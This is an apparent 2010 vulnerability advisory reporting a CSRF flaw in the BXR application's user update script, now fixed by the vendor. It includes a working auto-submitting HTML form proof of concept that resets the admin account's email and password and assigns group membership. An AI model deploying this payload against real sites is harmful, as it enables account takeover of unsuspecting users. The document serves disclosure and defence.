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XSRF (CSRF) in BXR
From: advisory () htbridge ch
Date: Thu, 5 Aug 2010 15:54:28 +0200 (CEST)

Vulnerability ID: HTB22503
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bxr.html
Product: BXR
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr ) 
Vulnerable Version: 0.6.8 and Probably Prior Versions
Vendor Notification: 22 July 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/user/update" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/user/update/1"; method="post" name="main" >

<input type="hidden" name="user[name]" value="admin" />
<input type="hidden" name="user[email]" value="myemail () example com" />
<input type="hidden" name="user[password]" value="123" />
<input type="hidden" name="user[password_confirmation]" value="123" />
<input type="hidden" name="belongs_to_group[1]" value="yes" />
<input type="hidden" name="user[default_folder_id]" value="1" />
<input type="hidden" name="commit" value="Save" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version


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